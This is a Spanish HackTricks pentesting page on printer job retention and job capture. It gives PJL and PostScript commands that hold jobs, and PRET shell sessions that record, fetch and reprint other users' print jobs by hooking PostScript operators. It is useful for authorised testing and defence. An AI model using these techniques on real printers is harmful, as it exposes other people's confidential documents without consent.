hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

8.6 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Retención de Trabajos

Algunas impresoras tienen trabajos de impresión almacenados accesibles desde el servidor web. Sin embargo, generalmente la retención de trabajos debe ser activada explícitamente para un trabajo de impresión determinado y se puede hacer utilizando comandos PJL estándar o código PostScript propietario. Los trabajos se mantienen entonces en memoria y pueden ser reimprimidos desde el panel de control.

PJL

La retención legítima de trabajos puede ser habilitada para el documento actual estableciendo la variable PJL HOLD como se muestra a continuación:

@PJL SET HOLD=ON
[actual data to be printed follows]

Los trabajos en espera se mantienen en memoria y pueden ser reimpresos desde el panel de control de la impresora. Esta característica es soportada por varias impresoras, sin embargo, parece que solo algunos dispositivos Epson permiten que la retención permanente de trabajos sea configurada usando @PJL DEFAULT HOLD=ON.

¿Cómo probar este ataque?

Utiliza el comando hold de PRET en modo pjl para verificar si se puede configurar la retención permanente de trabajos:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScript ofrece una funcionalidad similar que, sin embargo, es específica del modelo y del fabricante. Para la serie HP LaserJet 4k y varias impresoras Kyocera, la retención de trabajos se puede habilitar anteponiendo los siguientes comandos a un documento PostScript:

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

Cómo probar este ataque?

Usa el comando hold de PRET en modo ps:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

Captura de Trabajos

Es posible, aunque poco común, activar la retención de trabajos en el diálogo de impresión como se discutió anteriormente. Sin embargo, con PostScript, se tiene acceso completo sobre el trabajo de impresión actual y con el operador startjob, es incluso posible salir del bucle del servidor y acceder a trabajos futuros. Tal funcionalidad tiene el potencial de capturar todos los documentos si PostScript se utiliza como un controlador de impresora.

PostScript

Con la capacidad de engancharse a operadores PostScript arbitrarios, es posible manipular y acceder a trabajos de impresión ajenos. Para analizar el flujo de datos actual enviado a la impresora, se puede aplicar una característica bastante interesante del lenguaje PostScript: leer su propio código de programa como datos utilizando el operador currentfile. De esta manera, se puede acceder al flujo de datos completo que será procesado por el intérprete de PostScript leyendo y almacenándolo en un archivo en el dispositivo de impresión. Si la impresora no ofrece acceso al sistema de archivos, los documentos capturados pueden almacenarse en memoria, por ejemplo, dentro de diccionarios permanentes de PostScript.
Un problema práctico es decidir qué operador debe ser enganchado ya que no se obtiene acceso al flujo de datos hasta que este operador es procesado por el intérprete de PostScript. Como el atacante quiere capturar trabajos de impresión desde el principio, el operador redefinido debe ser el primer operador contenido en el documento PostScript. Afortunadamente, todos los documentos impresos con CUPS tienen una estructura fija que comienza con currentfile /ASCII85Decode filter /LZWDecode filter cvx exec. Basándose en la suposición de tal estructura fija, el atacante puede capturar documentos desde el principio y ejecutar (es decir, imprimir) el archivo después. Para sistemas de impresión distintos de CUPS este ataque también debería ser posible, pero los operadores necesitan ser adaptados. Tenga en cuenta que el encabezado de PostScript, que generalmente incluye el tamaño del medio, el usuario y los nombres de los trabajos, no puede ser capturado utilizando este método porque primero nos enganchamos al comienzo del documento actual. Otra estrategia genérica para engancharse al comienzo de cada trabajo de impresión es establecer el parámetro del sistema BeginPage, si es soportado por la impresora (la mayoría lo hace). Esta vulnerabilidad ha estado presumiblemente presente en dispositivos de impresión durante décadas, ya que solo se abusan de las construcciones del lenguaje definidas por el estándar de PostScript.

Utilice el comando capture de PRET en modo ps:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

Ahora, imprime documentos arbitrarios (asegúrate de que PRET esté desconectado para no bloquear el canal de impresión). Después, puedes listar, obtener o reimprimir documentos capturados:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: